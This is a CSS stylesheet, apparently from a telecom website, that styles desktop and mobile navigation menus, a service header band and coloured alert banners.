.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: &quot;&quot;; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;] { background-color: rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-135deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded=&quot;true&quot;]) + .items { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; }

.gp.navigation .icon.after.arrow-right { text-align: left; box-sizing: border-box; width: 100%; min-height: 1.14286em; line-height: 1.14286em; font-size: 0.875em; font-weight: bold; padding: 1.07143em; display: flex; align-items: center; gap: 0.714286em; }

.gp.navigation .icon.after.arrow-right::after { color: rgb(255, 121, 0); font-size: 1.42857em; margin-left: auto; }

.gp.navigation .icon.after.arrow-right:hover, .gp.navigation .icon.after.arrow-right:focus, .gp.navigation .icon.after.arrow-right:focus-visible { text-decoration: none; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .icon.after.arrow-right:hover:focus-visible, .gp.navigation .icon.after.arrow-right:focus:focus-visible, .gp.navigation .icon.after.arrow-right:focus-visible:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; }

.sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { color: rgb(0, 0, 0); border: medium; position: relative; display: flex; align-items: center; min-height: 3.125em; font-size: 1em; text-align: center; text-decoration: none; cursor: pointer; padding: 0px 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:first-of-type, .sosh.navigation .nav-list .nav-item .dropdown-item-link:first-of-type, .sosh.navigation .events .event:first-of-type { margin-left: -1.25em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

@media (max-width: 60em) {
  .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { padding: 0px 0.3125em; }
}

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .events .event[aria-expanded=&quot;true&quot;], .sosh.navigation .events .event:active, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:hover { color: rgb(0, 121, 128); }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] span, .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:active span, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible span, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover span, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;] span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover span, .sosh.navigation .events .event[aria-expanded=&quot;true&quot;], .sosh.navigation .events .event[aria-expanded=&quot;true&quot;] span, .sosh.navigation .events .event:active, .sosh.navigation .events .event:active span, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:focus-visible span, .sosh.navigation .events .event:hover, .sosh.navigation .events .event:hover span { font-weight: 700; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link { background: none; }

.sosh.navigation .nav-list { display: flex; width: 100%; padding-top: 0px; padding-bottom: 0px; margin: 0px; list-style: none; gap: 0.625em; }

.sosh.navigation .nav-list:not(.dropdown) { padding: 0px; }

.sosh.navigation .nav-list .nav-item { margin: 0px; transition: margin 0.3s ease-in-out; }

.sosh.navigation .nav-list .nav-item[aria-expanded=&quot;true&quot;] { margin-bottom: 3.125em; }

.sosh.navigation .nav-list .nav-item.hidden-dropdown { margin-bottom: 0px; }

.sosh.navigation .nav-list .nav-item.hidden-dropdown .nav-list.dropdown { display: none !important; }

.sosh.navigation .nav-list .nav-item .dropdown-item-link { flex-direction: column; justify-content: center; color: rgb(255, 255, 255); outline: none; outline-offset: -3px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -7px !important; }

@media (max-width: 60em) {
  .sosh.navigation .nav-list .nav-item .dropdown-item-link { padding: 0px 0.3125em; }
}

.sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link.url-match { color: rgb(255, 255, 255); box-shadow: rgb(0, 0, 0) 1.625em 0px 0px 0px inset, rgb(0, 0, 0) -1.625em 0px 0px 0px inset, rgb(38, 130, 142) 0px -0.3125em 0px 0px inset; }

.sosh.navigation .nav-list .nav-item .mega-menu-button { position: relative; height: 3.125em; flex-direction: column; }

.sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list { height: 0px; transition: height 0.3s ease-in-out; background: rgb(0, 0, 0); position: absolute; left: 0px; right: 0px; top: 3.125em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list a { visibility: hidden; }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;]::after { position: absolute; top: 100%; left: 50%; z-index: 1; content: &quot;&quot;; border-width: 10px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgba(0, 0, 0, 0) rgb(255, 255, 255); border-image: none; transform: rotate(180deg) translateX(50%) translateY(5%); }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] + .dropdown.nav-list { height: 3.125em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] + .dropdown.nav-list a { visibility: visible; }

.sosh.navigation .nav-list .nav-item span.text-content { display: flex; height: 100%; line-height: 100%; align-items: center; }

.sosh.navigation .nav-list .nav-item span.keep-size { display: block; color: rgb(255, 0, 255); font-weight: bold; visibility: hidden; overflow: hidden; height: 0px; }

.sosh.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; }

.sosh.navigation .mobile-navigation-menu:not(.is-open) * { display: none; }

.sosh.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; }

@media screen and (max-width: 30em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); }

@media (max-width: 20.3125em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { flex-direction: column; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: &quot; &quot;; background-color: rgb(255, 255, 255); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: &quot;&quot;; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;] { background-color: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-135deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded=&quot;true&quot;]) + .items { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; }

@media (max-width: 64em) {
  .sosh.navigation { min-height: 0px; z-index: 10000000; border-bottom: 0px; }
}

.band.service { position: relative; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); }

@media (max-width: 64em) {
  .band.service { padding: 0.3125em; border-bottom: 0.0625em solid rgb(221, 221, 221); }
}

@media screen and (min-width: 64em) {
  .band.service { min-height: 6.875em; display: flex; justify-content: space-between; align-items: center; }
}

.band.service h1 { margin: 0.1875em auto 0.1875em 0.3125em; font-size: 1.5em; line-height: 1.5em; }

@media screen and (min-width: 64em) {
  .band.service h1 { margin: 0px; font-size: 2.125em; }
}

@media screen and (min-width: 80em) {
  .band.service h1 { font-size: 2.625em; }
}

.band.service h1 a { font-size: inherit; color: rgb(0, 0, 0); text-decoration: none; }

.band.service h1 a:visited { color: rgb(0, 0, 0); }

.band.service h1 a:hover, .band.service h1 a:active, .band.service h1 a:focus { text-decoration: none; }

.band.bandeau-alerte { display: flex; color: rgb(0, 0, 0); font-size: 1em; padding-top: 10px; padding-bottom: 10px; z-index: 99980; }

.band.bandeau-alerte .icon-wrapper { display: flex; align-items: center; width: 2em; min-height: 2em; padding-right: 0.9375em; }

@media (max-width: 48em) {
  .band.bandeau-alerte .icon-wrapper { align-items: flex-start; }
}

.band.bandeau-alerte .icon-wrapper .icon { font-size: 2em; display: inline-block; }

.band.bandeau-alerte .message-wrapper { display: flex; align-items: center; padding: 0px; }

.band.bandeau-alerte .message-wrapper p { margin: 0px; }

.band.bandeau-alerte .message-wrapper p .description { padding-left: 0.3em; margin-right: 0.5em; }

.band.bandeau-alerte .message-wrapper p .click-to-action { display: inline-flex; flex-wrap: nowrap; color: rgb(0, 0, 0); font-weight: bold; text-decoration: underline; }

.band.bandeau-alerte .close-button-wrapper { display: flex; align-items: center; padding-left: 1em; margin-left: auto; }

@media (max-width: 48em) {
  .band.bandeau-alerte .close-button-wrapper { align-items: flex-start; }
}

.band.bandeau-alerte .close-button-wrapper .close-button { font-size: 1.25em; padding: 0px 0px 0px 0.4375em; background: none; border: medium; cursor: pointer; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.bandeau-alerte .close-button-wrapper .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.band.bandeau-alerte .close-button-wrapper .close-button:hover { color: rgb(85, 85, 85); }

.band.bandeau-alerte, .band.bandeau-alerte.alert { background: rgb(253, 229, 230); }

.band.bandeau-alerte .icon-wrapper .icon, .band.bandeau-alerte.alert .icon-wrapper .icon { color: rgb(231, 0, 2); }

.band.bandeau-alerte.attention { background: rgb(255, 250, 231); }

.band.bandeau-alerte.attention .icon-wrapper .icon { color: rgb(255, 205, 11); }

.band.bandeau-alerte.success { background: rgb(236, 253, 239); }

.band.bandeau-alerte.success .icon-wrapper .icon { color: rgb(61, 227, 90); }

.band.bandeau-alerte.info { background: rgb(233, 248, 255); }

.band.bandeau-alerte.info .icon-wrapper .icon { color: rgb(38, 178, 255); }

.band.bandeau-alerte.neutral { background: rgb(244, 244, 244); }

